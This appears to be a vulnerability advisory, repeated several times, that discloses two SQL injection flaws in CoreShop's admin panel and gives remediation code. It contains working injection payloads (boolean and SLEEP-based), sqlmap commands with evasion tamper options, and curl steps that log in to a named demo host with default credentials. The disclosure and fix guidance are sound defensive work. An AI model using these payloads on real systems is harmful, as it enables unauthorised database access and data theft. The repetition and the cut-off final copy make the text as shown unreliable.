To mitigate the SQL injection risk, user input should not be directly concatenated into SQL queries. The store parameter is expected to represent a numeric store identifier and should therefore be handled safely.

Two possible remediation approaches are recommended:

1. Strict Type Enforcement (Minimal Fix)

   If the store parameter is intended to be numeric only, enforce integer casting when retrieving the value (e.g. (int) $storeId). This prevents injection by ensuring that only numeric values are used in the query.

2. Prepared Statements (Best Practice)

   Alternatively, and preferably, the store parameter should be passed using parameter binding, consistent with the handling of other query values in this method. Using prepared statements fully prevents SQL injection and aligns with Doctrine DBAL best practices.

Applying either approach would prevent attackers from injecting SQL logic through the store parameter.

Parameter

1. /admin/coreshop/report/get-data?report=products&_dc=1767720897882&from=1767200400&to=1798650000&store=1&objectType=all&orderState=%5B%5D&page=1&start=0&limit=50

Line of Code

CoreShop/src/CoreShop/Bundle/CoreBundle/Report/SalesReport.php

Line 64 :

$storeId =$parameterBag->get('store',null);

The store parameter is retrieved directly from the HTTP request via ParameterBag. This value originates from user-controlled input and is not validated or type-cast at this point.

Line 77 :

if (null ===$storeId) {
return [];
}

This check ensures the parameter is present, but does not enforce type safety or restrict the value to an expected format (e.g., integer).

Line 81 :

$store =$this->storeRepository->find($storeId);

The user-supplied value is used to query the repository. While this lookup may fail for invalid values, it does not prevent the same value from later being used in a raw SQL context.

Line 107 :

WHERE orders.store =$storeId
  AND orders.orderState ='$orderCompleteState'
  AND orders.orderDate > ?
  AND orders.orderDate < ?
  AND saleState='" . OrderSaleStates::STATE_ORDER . "'

At this point, the $storeId value is directly concatenated into the SQL query string. Unlike other parameters in the query (orderDate), this value is not bound as a prepared statement parameter.

Example Fixed Code

Option 1: Strict Type Enforcement (Minimal Fix)

If the store parameter is intended to be numeric only, enforce integer casting before using it in the query.

$storeId = (int)$parameterBag->get('store',0);

if ($storeId <=0) {
return [];
}

$sqlQuery = "
    SELECT DATE(FROM_UNIXTIME(orderDate)) AS dayDate, orderDate, SUM(totalGross) AS total
    FROM object_query_$classId AS orders
    WHERE orders.store =$storeId
      AND orders.orderState = '$orderCompleteState'
      AND orders.orderDate > ?
      AND orders.orderDate < ?
      AND saleState = '" .OrderSaleStates::STATE_ORDER . "'
    GROUP BY " .$groupSelector;

This ensures that only numeric values are used and prevents SQL logic injection.

Option 2: Prepared Statements (Recommended Fix)

Use parameter binding for all user-influenced values, including store.

$sqlQuery = "
    SELECT DATE(FROM_UNIXTIME(orderDate)) AS dayDate, orderDate, SUM(totalGross) AS total
    FROM object_query_$classId AS orders
    WHERE orders.store = ?
      AND orders.orderState = ?
      AND orders.orderDate > ?
      AND orders.orderDate < ?
      AND saleState = ?
    GROUP BY " .$groupSelector;

$results =$this->db->fetchAllAssociative(
$sqlQuery,
    [
        (int)$storeId,
$orderCompleteState,
$from->getTimestamp(),
$to->getTimestamp(),
OrderSaleStates::STATE_ORDER,
    ]
);

This approach fully eliminates SQL injection risks and aligns with Doctrine DBAL best practices.

SQL Injection in CustomerTransformerController

Summary

An error-based SQL Injection vulnerability was identified in the CustomerTransformerController within the CoreShop admin panel.
The affected endpoint improperly interpolates user-supplied input into a SQL query, leading to database error disclosure and potential data extraction.

This issue is classified as MEDIUM severity, as it allows SQL execution in an authenticated admin context.

Details

The vulnerability exists in the company name duplication check endpoint:

/admin/coreshop/customer-company-modifier/duplication-name-check?value=

Source code analysis indicates that user input is directly embedded into a SQL condition without parameterization.

Vulnerable file:

/app/repos/coreshop/src/CoreShop/Bundle/CustomerBundle/Controller/CustomerTransformerController.php

Vulnerable code pattern:

sprintf('name LIKE "%%%s%%"', (string) $value)

The $value parameter is fully user-controlled and is not escaped or bound as a prepared statement parameter.
Supplying a double quote (") causes a SQL syntax error, confirming that the input is executed in a SQL context.

Exploitation Steps:

Prerequisites

• Admin panel access at https://demo4.coreshop.org/admin
• Default credentials: admin / coreshop

Authenticate to admin panel

   # Get CSRF token
   curl -s 'https://demo4.coreshop.org/admin/login/csrf-token' | grep csrfToken

   # Initialize session
   curl -s -c /tmp/session.txt 'https://demo4.coreshop.org/admin/login' > /dev/null

   # Get CSRF token with session
   CSRF=$(curl -s -b /tmp/session.txt 'https://demo4.coreshop.org/admin/login/csrf-token' | grep -o '"csrfToken":"[^"]*"' | cut -d'"' -f4)

   # Login
   curl -s -i -b /tmp/session.txt -c /tmp/session.txt \
     -X POST 'https://demo4.coreshop.org/admin/login/login' \
     -H 'Content-Type: application/x-www-form-urlencoded' \
     -d "username=admin&password=coreshop&csrfToken=$CSRF"

Trigger SQL error to confirm injection

curl -s -b /tmp/session.txt \
  'https://demo4.coreshop.org/admin/coreshop/customer-company-modifier/duplication-name-check?value=%22'

Expected result: HTTP 500 error page with title "500 | CORS - Pimcore Digital Agency"

Normal response (non-error):

{"success":true,"message":null,"list":[]}

Proof of Impact:

Test 1 - Normal query:

GET /admin/coreshop/customer-company-modifier/duplication-name-check?value=test
Response: {"success":true,"message":null,"list":[]}

Test 2 - SQL injection (error-inducing):

GET /admin/coreshop/customer-company-modifier/duplication-name-check?value="
Response: HTTP 500 Internal Server Error
<!DOCTYPE html>
<html lang="en">
<head>
  <title>500 | CORS - Pimcore Digital Agency</title>
  ...
</head>

The double quote character causes a SQL syntax error, confirming the injection point. The application returns a 500 error instead of the normal JSON response, proving that unescaped user input reaches the SQL query.

Sqlmap Result:

python sqlmap.py -r sql.txt --random-agent --batch --force-ssl --ignore-code=403,404 --no-cast --tamper=between,randomcase,space2comment --proxy http://127.0.0.1:8080/ --dbms=mysql -p value --level=5 --risk=3 --current-db

Impact

• Vulnerability type: SQL Injection (Error-based)
• Affected users: CoreShop / Pimcore admin users
• Potential impact:
  • Database error disclosure
  • Database schema enumeration
  • Possible data extraction via error-based or blind SQL injection

Recommended Fix

1. Use Parameterized Queries (Required)

Avoid building SQL conditions using string concatenation or sprintf.
Use Doctrine QueryBuilder parameters instead.

❌ Vulnerable example:

$condition = sprintf('name LIKE "%%%s%%"', (string) $value);

✅ Secure example (Doctrine QueryBuilder):

$qb->andWhere('c.name LIKE :name')
   ->setParameter('name', '%' . $value . '%');

This ensures proper escaping and prevents SQL injection.

2. Validate User Input (Defense-in-Depth)

Apply strict input validation before processing user data:

if (!is_string($value) || mb_strlen($value) > 255) {
    throw new BadRequestHttpException('Invalid input');
}

Optionally, restrict allowed characters if business logic permits.

3. Handle Errors Gracefully

Avoid returning raw 500 error pages to users.
Catch database exceptions and return a controlled JSON error response instead:

return new JsonResponse([
    'success' => false,
    'message' => 'Invalid request'
], 400);

4. Security Best Practice

• Never interpolate user input directly into SQL strings
• Always use prepared statements or ORM parameter binding
• Ensure consistent input validation on all admin endpoints

Affected Version(s)

• CoreShop 4.1.2 Demo (tested) Demo | CoreShop
• Earlier versions may also be affected if the same code path exists

Summary

A blind SQL injection vulnerability exists in the application that allows an authenticated administrator-level user to extract database contents using boolean-based or time-based techniques. The database account used by the application is read-only and non-DBA, limiting impact to confidential data disclosure only. No data modification or service disruption is possible.

Details

The vulnerability occurs due to unsanitized user input being concatenated into a SQL query without proper parameterization.

An attacker with administrative access can manipulate the affected parameter to influence the backend SQL query logic. Although no direct query output is returned, boolean and time-based inference techniques allow an attacker to extract data from the database.

Impact

Vulnerability Type: Blind SQL Injection

Impact: Confidentiality only

An attacker can:

• Enumerate database schema
• Extract all data accessible to the application’s database user

CVSS v3.1 (Base Score: 4.9 – Medium)

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

Steps to Reproduce:

1. Send a Normal Request:
   • Request the report endpoint with a valid store value (e.g. store=1) and observe that data is returned.

2. Inject a Boolean TRUE Condition:
   • Modify the parameter to store=1 AND 1=1.
   • The response returns the same data as the normal request.

3. Inject a Boolean FALSE Condition:
   • Modify the parameter to store=1 AND 2=1.
   • The response returns an empty dataset.

4. Confirm Injection Behavior:

   • The difference between TRUE and FALSE conditions confirms that the store parameter directly affects SQL query logic, indicating a boolean-based blind SQL injection.

5. Automated Confirmation Using sqlmap:

   • The vulnerable request was tested using sqlmap with the store parameter.
   • sqlmap successfully confirmed the parameter as boolean-based and time-based blind SQL injectable.
   • The tool was able to fingerprint the backend environment, including:
     • Database Management System (DBMS)
     • Database hostname
     • PHP version
     • Available database names
   • This confirms that the injection is exploitable beyond simple logic manipulation and allows database-level information disclosure.

C:\sqlmap>python sqlmap.py -r test.txt --random-agent --batch --force-ssl --ignore-code=403,404 --no-cast --tamper=between,randomcase,space2comment --proxy http://127.0.0.1:8080 -p store
---
Parameter: store (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: report=products&_dc=1767718087622&from=1767200400&to=1798650000&store=1 AND 3500=3500&objectType=all&orderState=[]&page=1&start=0&limit=50

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: report=products&_dc=1767718087622&from=1767200400&to=1798650000&store=1 AND (SELECT 6265 FROM (SELECT(SLEEP(5)))KORX)&objectType=all&orderState=[]&page=1&start=0&limit=50
---
web application technology: PHP 8.3.16
back-end DBMS: MySQL >= 5.0.12
hostname: 'coreshop4-demo-php-6c6b7c446f-9qd8w'
available databases [3]:
[*] app
[*] information_schema
[*] performance_schema

Solution

To mitigate the SQL injection risk, user input should not be directly concatenated into SQL queries. The store parameter is expected to represent a numeric store identifier and should therefore be handled safely.

Two possible remediation approaches are recommended:

1. Strict Type Enforcement (Minimal Fix)

   If the store parameter is intended to be numeric only, enforce integer casting when retrieving the value (e.g. (int) $storeId). This prevents injection by ensuring that only numeric values are used in the query.

2. Prepared Statements (Best Practice)

   Alternatively, and preferably, the store parameter should be passed using parameter binding, consistent with the handling of other query values in this method. Using prepared statements fully prevents SQL injection and aligns with Doctrine DBAL best practices.

Applying either approach would prevent attackers from injecting SQL logic through the store parameter.

Parameter

1. /admin/coreshop/report/get-data?report=products&_dc=1767720897882&from=1767200400&to=1798650000&store=1&objectType=all&orderState=%5B%5D&page=1&start=0&limit=50

Line of Code

CoreShop/src/CoreShop/Bundle/CoreBundle/Report/SalesReport.php

Line 64 :

$storeId =$parameterBag->get('store',null);

The store parameter is retrieved directly from the HTTP request via ParameterBag. This value originates from user-controlled input and is not validated or type-cast at this point.

Line 77 :

if (null ===$storeId) {
return [];
}

This check ensures the parameter is present, but does not enforce type safety or restrict the value to an expected format (e.g., integer).

Line 81 :

$store =$this->storeRepository->find($storeId);

The user-supplied value is used to query the repository. While this lookup may fail for invalid values, it does not prevent the same value from later being used in a raw SQL context.

Line 107 :

WHERE orders.store =$storeId
  AND orders.orderState ='$orderCompleteState'
  AND orders.orderDate > ?
  AND orders.orderDate < ?
  AND saleState='" . OrderSaleStates::STATE_ORDER . "'

At this point, the $storeId value is directly concatenated into the SQL query string. Unlike other parameters in the query (orderDate), this value is not bound as a prepared statement parameter.

Example Fixed Code

Option 1: Strict Type Enforcement (Minimal Fix)

If the store parameter is intended to be numeric only, enforce integer casting before using it in the query.

$storeId = (int)$parameterBag->get('store',0);

if ($storeId <=0) {
return [];
}

$sqlQuery = "
    SELECT DATE(FROM_UNIXTIME(orderDate)) AS dayDate, orderDate, SUM(totalGross) AS total
    FROM object_query_$classId AS orders
    WHERE orders.store =$storeId
      AND orders.orderState = '$orderCompleteState'
      AND orders.orderDate > ?
      AND orders.orderDate < ?
      AND saleState = '" .OrderSaleStates::STATE_ORDER . "'
    GROUP BY " .$groupSelector;

This ensures that only numeric values are used and prevents SQL logic injection.

Option 2: Prepared Statements (Recommended Fix)

Use parameter binding for all user-influenced values, including store.

$sqlQuery = "
    SELECT DATE(FROM_UNIXTIME(orderDate)) AS dayDate, orderDate, SUM(totalGross) AS total
    FROM object_query_$classId AS orders
    WHERE orders.store = ?
      AND orders.orderState = ?
      AND orders.orderDate > ?
      AND orders.orderDate < ?
      AND saleState = ?
    GROUP BY " .$groupSelector;

$results =$this->db->fetchAllAssociative(
$sqlQuery,
    [
        (int)$storeId,
$orderCompleteState,
$from->getTimestamp(),
$to->getTimestamp(),
OrderSaleStates::STATE_ORDER,
    ]
);

This approach fully eliminates SQL injection risks and aligns with Doctrine DBAL best practices.

SQL Injection in CustomerTransformerController

Summary

An error-based SQL Injection vulnerability was identified in the CustomerTransformerController within the CoreShop admin panel.
The affected endpoint improperly interpolates user-supplied input into a SQL query, leading to database error disclosure and potential data extraction.

This issue is classified as MEDIUM severity, as it allows SQL execution in an authenticated admin context.

Details

The vulnerability exists in the company name duplication check endpoint:

/admin/coreshop/customer-company-modifier/duplication-name-check?value=

Source code analysis indicates that user input is directly embedded into a SQL condition without parameterization.

Vulnerable file:

/app/repos/coreshop/src/CoreShop/Bundle/CustomerBundle/Controller/CustomerTransformerController.php

Vulnerable code pattern:

sprintf('name LIKE "%%%s%%"', (string) $value)

The $value parameter is fully user-controlled and is not escaped or bound as a prepared statement parameter.
Supplying a double quote (") causes a SQL syntax error, confirming that the input is executed in a SQL context.

Exploitation Steps:

Prerequisites

• Admin panel access at https://demo4.coreshop.org/admin
• Default credentials: admin / coreshop

Authenticate to admin panel

   # Get CSRF token
   curl -s 'https://demo4.coreshop.org/admin/login/csrf-token' | grep csrfToken

   # Initialize session
   curl -s -c /tmp/session.txt 'https://demo4.coreshop.org/admin/login' > /dev/null

   # Get CSRF token with session
   CSRF=$(curl -s -b /tmp/session.txt 'https://demo4.coreshop.org/admin/login/csrf-token' | grep -o '"csrfToken":"[^"]*"' | cut -d'"' -f4)

   # Login
   curl -s -i -b /tmp/session.txt -c /tmp/session.txt \
     -X POST 'https://demo4.coreshop.org/admin/login/login' \
     -H 'Content-Type: application/x-www-form-urlencoded' \
     -d "username=admin&password=coreshop&csrfToken=$CSRF"

Trigger SQL error to confirm injection

curl -s -b /tmp/session.txt \
  'https://demo4.coreshop.org/admin/coreshop/customer-company-modifier/duplication-name-check?value=%22'

Expected result: HTTP 500 error page with title "500 | CORS - Pimcore Digital Agency"

Normal response (non-error):

{"success":true,"message":null,"list":[]}

Proof of Impact:

Test 1 - Normal query:

GET /admin/coreshop/customer-company-modifier/duplication-name-check?value=test
Response: {"success":true,"message":null,"list":[]}

Test 2 - SQL injection (error-inducing):

GET /admin/coreshop/customer-company-modifier/duplication-name-check?value="
Response: HTTP 500 Internal Server Error
<!DOCTYPE html>
<html lang="en">
<head>
  <title>500 | CORS - Pimcore Digital Agency</title>
  ...
</head>

The double quote character causes a SQL syntax error, confirming the injection point. The application returns a 500 error instead of the normal JSON response, proving that unescaped user input reaches the SQL query.

Sqlmap Result:

python sqlmap.py -r sql.txt --random-agent --batch --force-ssl --ignore-code=403,404 --no-cast --tamper=between,randomcase,space2comment --proxy http://127.0.0.1:8080/ --dbms=mysql -p value --level=5 --risk=3 --current-db

Impact

• Vulnerability type: SQL Injection (Error-based)
• Affected users: CoreShop / Pimcore admin users
• Potential impact:
  • Database error disclosure
  • Database schema enumeration
  • Possible data extraction via error-based or blind SQL injection

Recommended Fix

1. Use Parameterized Queries (Required)

Avoid building SQL conditions using string concatenation or sprintf.
Use Doctrine QueryBuilder parameters instead.

❌ Vulnerable example:

$condition = sprintf('name LIKE "%%%s%%"', (string) $value);

✅ Secure example (Doctrine QueryBuilder):

$qb->andWhere('c.name LIKE :name')
   ->setParameter('name', '%' . $value . '%');

This ensures proper escaping and prevents SQL injection.

2. Validate User Input (Defense-in-Depth)

Apply strict input validation before processing user data:

if (!is_string($value) || mb_strlen($value) > 255) {
    throw new BadRequestHttpException('Invalid input');
}

Optionally, restrict allowed characters if business logic permits.

3. Handle Errors Gracefully

Avoid returning raw 500 error pages to users.
Catch database exceptions and return a controlled JSON error response instead:

return new JsonResponse([
    'success' => false,
    'message' => 'Invalid request'
], 400);

4. Security Best Practice

• Never interpolate user input directly into SQL strings
• Always use prepared statements or ORM parameter binding
• Ensure consistent input validation on all admin endpoints

Affected Version(s)

• CoreShop 4.1.2 Demo (tested) Demo | CoreShop
• Earlier versions may also be affected if the same code path exists

Summary

A blind SQL injection vulnerability exists in the application that allows an authenticated administrator-level user to extract database contents using boolean-based or time-based techniques. The database account used by the application is read-only and non-DBA, limiting impact to confidential data disclosure only. No data modification or service disruption is possible.

Details

The vulnerability occurs due to unsanitized user input being concatenated into a SQL query without proper parameterization.

An attacker with administrative access can manipulate the affected parameter to influence the backend SQL query logic. Although no direct query output is returned, boolean and time-based inference techniques allow an attacker to extract data from the database.

Impact

Vulnerability Type: Blind SQL Injection

Impact: Confidentiality only

An attacker can:

• Enumerate database schema
• Extract all data accessible to the application’s database user

CVSS v3.1 (Base Score: 4.9 – Medium)

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

Steps to Reproduce:

1. Send a Normal Request:
   • Request the report endpoint with a valid store value (e.g. store=1) and observe that data is returned.

2. Inject a Boolean TRUE Condition:
   • Modify the parameter to store=1 AND 1=1.
   • The response returns the same data as the normal request.

3. Inject a Boolean FALSE Condition:
   • Modify the parameter to store=1 AND 2=1.
   • The response returns an empty dataset.

4. Confirm Injection Behavior:

   • The difference between TRUE and FALSE conditions confirms that the store parameter directly affects SQL query logic, indicating a boolean-based blind SQL injection.

5. Automated Confirmation Using sqlmap:

   • The vulnerable request was tested using sqlmap with the store parameter.
   • sqlmap successfully confirmed the parameter as boolean-based and time-based blind SQL injectable.
   • The tool was able to fingerprint the backend environment, including:
     • Database Management System (DBMS)
     • Database hostname
     • PHP version
     • Available database names
   • This confirms that the injection is exploitable beyond simple logic manipulation and allows database-level information disclosure.

C:\sqlmap>python sqlmap.py -r test.txt --random-agent --batch --force-ssl --ignore-code=403,404 --no-cast --tamper=between,randomcase,space2comment --proxy http://127.0.0.1:8080 -p store
---
Parameter: store (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: report=products&_dc=1767718087622&from=1767200400&to=1798650000&store=1 AND 3500=3500&objectType=all&orderState=[]&page=1&start=0&limit=50

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: report=products&_dc=1767718087622&from=1767200400&to=1798650000&store=1 AND (SELECT 6265 FROM (SELECT(SLEEP(5)))KORX)&objectType=all&orderState=[]&page=1&start=0&limit=50
---
web application technology: PHP 8.3.16
back-end DBMS: MySQL >= 5.0.12
hostname: 'coreshop4-demo-php-6c6b7c446f-9qd8w'
available databases [3]:
[*] app
[*] information_schema
[*] performance_schema

Solution

To mitigate the SQL injection risk, user input should not be directly concatenated into SQL queries. The store parameter is expected to represent a numeric store identifier and should therefore be handled safely.

Two possible remediation approaches are recommended:

1. Strict Type Enforcement (Minimal Fix)

   If the store parameter is intended to be numeric only, enforce integer casting when retrieving the value (e.g. (int) $storeId). This prevents injection by ensuring that only numeric values are used in the query.

2. Prepared Statements (Best Practice)

   Alternatively, and preferably, the store parameter should be passed using parameter binding, consistent with the handling of other query values in this method. Using prepared statements fully prevents SQL injection and aligns with Doctrine DBAL best practices.

Applying either approach would prevent attackers from injecting SQL logic through the store parameter.

Parameter

1. /admin/coreshop/report/get-data?report=products&_dc=1767720897882&from=1767200400&to=1798650000&store=1&objectType=all&orderState=%5B%5D&page=1&start=0&limit=50

Line of Code

CoreShop/src/CoreShop/Bundle/CoreBundle/Report/SalesReport.php

Line 64 :

$storeId =$parameterBag->get('store',null);

The store parameter is retrieved directly from the HTTP request via ParameterBag. This value originates from user-controlled input and is not validated or type-cast at this point.

Line 77 :

if (null ===$storeId) {
return [];
}

This check ensures the parameter is present, but does not enforce type safety or restrict the value to an expected format (e.g., integer).

Line 81 :

$store =$this->storeRepository->find($storeId);

The user-supplied value is used to query the repository. While this lookup may fail for invalid values, it does not prevent the same value from later being used in a raw SQL context.

Line 107 :

WHERE orders.store =$storeId
  AND orders.orderState ='$orderCompleteState'
  AND orders.orderDate > ?
  AND orders.orderDate < ?
  AND saleState='" . OrderSaleStates::STATE_ORDER . "'

At this point, the $storeId value is directly concatenated into the SQL query string. Unlike other parameters in the query (orderDate), this value is not bound as a prepared statement parameter.

Example Fixed Code

Option 1: Strict Type Enforcement (Minimal Fix)

If the store parameter is intended to be numeric only, enforce integer casting before using it in the query.

$storeId = (int)$parameterBag->get('store',0);

if ($storeId <=0) {
return [];
}

$sqlQuery = "
    SELECT DATE(FROM_UNIXTIME(orderDate)) AS dayDate, orderDate, SUM(totalGross) AS total
    FROM object_query_$classId AS orders
    WHERE orders.store =$storeId
      AND orders.orderState = '$orderCompleteState'
      AND orders.orderDate > ?
      AND orders.orderDate < ?
      AND saleState = '" .OrderSaleStates::STATE_ORDER . "'
    GROUP BY " .$groupSelector;

This ensures that only numeric values are used and prevents SQL logic injection.

Option 2: Prepared Statements (Recommended Fix)

Use parameter binding for all user-influenced values, including store.

$sqlQuery = "
    SELECT DATE(FROM_UNIXTIME(orderDate)) AS dayDate, orderDate, SUM(totalGross) AS total
    FROM object_query_$classId AS orders
    WHERE orders.store = ?
      AND orders.orderState = ?
      AND orders.orderDate > ?
      AND orders.orderDate < ?
      AND saleState = ?
    GROUP BY " .$groupSelector;

$results =$this->db->fetchAllAssociative(
$sqlQuery,
    [
        (int)$storeId,
$orderCompleteState,
$from->getTimestamp(),
$to->getTimestamp(),
OrderSaleStates::STATE_ORDER,
    ]
);

This approach fully eliminates SQL injection risks and aligns with Doctrine DBAL best practices.

SQL Injection in CustomerTransformerController

Summary

An error-based SQL Injection vulnerability was identified in the CustomerTransformerController within the CoreShop admin panel.
The affected endpoint improperly interpolates user-supplied input into a SQL query, leading to database error disclosure and potential data extraction.

This issue is classified as MEDIUM severity, as it allows SQL execution in an authenticated admin context.

Details

The vulnerability exists in the company name duplication check endpoint:

/admin/coreshop/customer-company-modifier/duplication-name-check?value=

Source code analysis indicates that user input is directly embedded into a SQL condition without parameterization.

Vulnerable file:

/app/repos/coreshop/src/CoreShop/Bundle/CustomerBundle/Controller/CustomerTransformerController.php

Vulnerable code pattern:

sprintf('name LIKE "%%%s%%"', (string) $value)

The $value parameter is fully user-controlled and is not escaped or bound as a prepared statement parameter.
Supplying a double quote (") causes a SQL syntax error, confirming that the input is executed in a SQL context.

Exploitation Steps:

Prerequisites

• Admin panel access at https://demo4.coreshop.org/admin
• Default credentials: admin / coreshop

Authenticate to admin panel

   # Get CSRF token
   curl -s 'https://demo4.coreshop.org/admin/login/csrf-token' | grep csrfToken

   # Initialize session
   curl -s -c /tmp/session.txt 'https://demo4.coreshop.org/admin/login' > /dev/null

   # Get CSRF token with session
   CSRF=$(curl -s -b /tmp/session.txt 'https://demo4.coreshop.org/admin/login/csrf-token' | grep -o '"csrfToken":"[^"]*"' | cut -d'"' -f4)

   # Login
   curl -s -i -b /tmp/session.txt -c /tmp/session.txt \
     -X POST 'https://demo4.coreshop.org/admin/login/login' \
     -H 'Content-Type: application/x-www-form-urlencoded' \
     -d "username=admin&password=coreshop&csrfToken=$CSRF"

Trigger SQL error to confirm injection

curl -s -b /tmp/session.txt \
  'https://demo4.coreshop.org/admin/coreshop/customer-company-modifier/duplication-name-check?value=%22'

Expected result: HTTP 500 error page with title "500 | CORS - Pimcore Digital Agency"

Normal response (non-error):

{"success":true,"message":null,"list":[]}

Proof of Impact:

Test 1 - Normal query:

GET /admin/coreshop/customer-company-modifier/duplication-name-check?value=test
Response: {"success":true,"message":null,"list":[]}

Test 2 - SQL injection (error-inducing):

GET /admin/coreshop/customer-company-modifier/duplication-name-check?value="
Response: HTTP 500 Internal Server Error
<!DOCTYPE html>
<html lang="en">
<head>
  <title>500 | CORS - Pimcore Digital Agency</title>
  ...
</head>

The double quote character causes a SQL syntax error, confirming the injection point. The application returns a 500 error instead of the normal JSON response, proving that unescaped user input reaches the SQL query.

Sqlmap Result:

python sqlmap.py -r sql.txt --random-agent --batch --force-ssl --ignore-code=403,404 --no-cast --tamper=between,randomcase,space2comment --proxy http://127.0.0.1:8080/ --dbms=mysql -p value --level=5 --risk=3 --current-db

Impact

• Vulnerability type: SQL Injection (Error-based)
• Affected users: CoreShop / Pimcore admin users
• Potential impact:
  • Database error disclosure
  • Database schema enumeration
  • Possible data extraction via error-based or blind SQL injection

Recommended Fix

1. Use Parameterized Queries (Required)

Avoid building SQL conditions using string concatenation or sprintf.
Use Doctrine QueryBuilder parameters instead.

❌ Vulnerable example:

$condition = sprintf('name LIKE "%%%s%%"', (string) $value);

✅ Secure example (Doctrine QueryBuilder):

$qb->andWhere('c.name LIKE :name')
   ->setParameter('name', '%' . $value . '%');

This ensures proper escaping and prevents SQL injection.

2. Validate User Input (Defense-in-Depth)

Apply strict input validation before processing user data:

if (!is_string($value) || mb_strlen($value) > 255) {
    throw new BadRequestHttpException('Invalid input');
}

Optionally, restrict allowed characters if business logic permits.

3. Handle Errors Gracefully

Avoid returning raw 500 error pages to users.
Catch database exceptions and return a controlled JSON error response instead:

return new JsonResponse([
    'success' => false,
    'message' => 'Invalid request'
], 400);

4. Security Best Practice

• Never interpolate user input directly into SQL strings
• Always use prepared statements or ORM parameter binding
• Ensure consistent input validation on all admin endpoints

Affected Version(s)

• CoreShop 4.1.2 Demo (tested) Demo | CoreShop
• Earlier versions may also be affected if the same code path exists

Summary

A blind SQL injection vulnerability exists in the application that allows an authenticated administrator-level user to extract database contents using boolean-based or time-based techniques. The database account used by the application is read-only and non-DBA, limiting impact to confidential data disclosure only. No data modification or service disruption is possible.

Details

The vulnerability occurs due to unsanitized user input being concatenated into a SQL query without proper parameterization.

An attacker with administrative access can manipulate the affected parameter to influence the backend SQL query logic. Although no direct query output is returned, boolean and time-based inference techniques allow an attacker to extract data from the database.

Impact

Vulnerability Type: Blind SQL Injection

Impact: Confidentiality only

An attacker can:

• Enumerate database schema
• Extract all data accessible to the application’s database user

CVSS v3.1 (Base Score: 4.9 – Medium)

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

Steps to Reproduce:

1. Send a Normal Request:
   • Request the report endpoint with a valid store value (e.g. store=1) and observe that data is returned.

2. Inject a Boolean TRUE Condition:
   • Modify the parameter to store=1 AND 1=1.
   • The response returns the same data as the normal request.

3. Inject a Boolean FALSE Condition:
   • Modify the parameter to store=1 AND 2=1.
   • The response returns an empty dataset.

4. Confirm Injection Behavior:

   • The difference between TRUE and FALSE conditions confirms that the store parameter directly affects SQL query logic, indicating a boolean-based blind SQL injection.

5. Automated Confirmation Using sqlmap:

   • The vulnerable request was tested using sqlmap with the store parameter.
   • sqlmap successfully confirmed the parameter as boolean-based and time-based blind SQL injectable.
   • The tool was able to fingerprint the backend environment, including:
     • Database Management System (DBMS)
     • Database hostname
     • PHP version
     • Available database names
   • This confirms that the injection is exploitable beyond simple logic manipulation and allows database-level information disclosure.

C:\sqlmap>python sqlmap.py -r test.txt --random-agent --batch --force-ssl --ignore-code=403,404 --no-cast --tamper=between,randomcase,space2comment --proxy http://127.0.0.1:8080 -p store
---
Parameter: store (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: report=products&_dc=1767718087622&from=1767200400&to=1798650000&store=1 AND 3500=3500&objectType=all&orderState=[]&page=1&start=0&limit=50

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: report=products&_dc=1767718087622&from=1767200400&to=1798650000&store=1 AND (SELECT 6265 FROM (SELECT(SLEEP(5)))KORX)&objectType=all&orderState=[]&page=1&start=0&limit=50
---
web application technology: PHP 8.3.16
back-end DBMS: MySQL >= 5.0.12
hostname: 'coreshop4-demo-php-6c6b7c446f-9qd8w'
available databases [3]:
[*] app
[*] information_schema
[*] performance_schema

Solution

To mitigate the SQL injection risk, user input should not be directly concatenated into SQL queries. The store parameter is expected to represent a numeric store identifier and should therefore be handled safely.

Two possible remediation approaches are recommended:

1. Strict Type Enforcement (Minimal Fix)

   If the store parameter is intended to be numeric only, enforce integer casting when retrieving the value (e.g. (int) $storeId). This prevents injection by ensuring that only numeric values are used in the query.

2. Prepared Statements (Best Practice)

   Alternatively, and preferably, the store parameter should be passed using parameter binding, consistent with the handling of other query values in this method. Using prepared statements fully prevents SQL injection and aligns with Doctrine DBAL best practices.

Applying either approach would prevent attackers from injecting SQL logic through the store parameter.

Parameter

1. /admin/coreshop/report/get-data?report=products&_dc=1767720897882&from=1767200400&to=1798650000&store=1&objectType=all&orderState=%5B%5D&page=1&start=0&limit=50

Line of Code

CoreShop/src/CoreShop/Bundle/CoreBundle/Report/SalesReport.php

Line 64 :

$storeId =$parameterBag->get('store',null);

The store parameter is retrieved directly from the HTTP request via ParameterBag. This value originates from user-controlled input and is not validated or type-cast at this point.

Line 77 :

if (null ===$storeId) {
return [];
}

This check ensures the parameter is present, but does not enforce type safety or restrict the value to an expected format (e.g., integer).

Line 81 :

$store =$this->storeRepository->find($storeId);

The user-supplied value is used to query the repository. While this lookup may fail for invalid values, it does not prevent the same value from later being used in a raw SQL context.

Line 107 :

WHERE orders.store =$storeId
  AND orders.orderState ='$orderCompleteState'
  AND orders.orderDate > ?
  AND orders.orderDate < ?
  AND saleState='" . OrderSaleStates::STATE_ORDER . "'

At this point, the $storeId value is directly concatenated into the SQL query string. Unlike other parameters in the query (orderDate), this value is not bound as a prepared statement parameter.

Example Fixed Code

Option 1: Strict Type Enforcement (Minimal Fix)

If the store parameter is intended to be numeric only, enforce integer casting before using it in the query.

$storeId = (int)$parameterBag->get('store',0);

if ($storeId <=0) {
return [];
}

$sqlQuery = "
    SELECT DATE(FROM_UNIXTIME(orderDate)) AS dayDate, orderDate, SUM(totalGross) AS total
    FROM object_query_$classId AS orders
    WHERE orders.store =$storeId
      AND orders.orderState = '$orderCompleteState'
      AND orders.orderDate > ?
      AND orders.orderDate < ?
      AND saleState = '" .OrderSaleStates::STATE_ORDER . "'
    GROUP BY " .$groupSelector;

This ensures that only numeric values are used and prevents SQL logic injection.

Option 2: Prepared Statements (Recommended Fix)

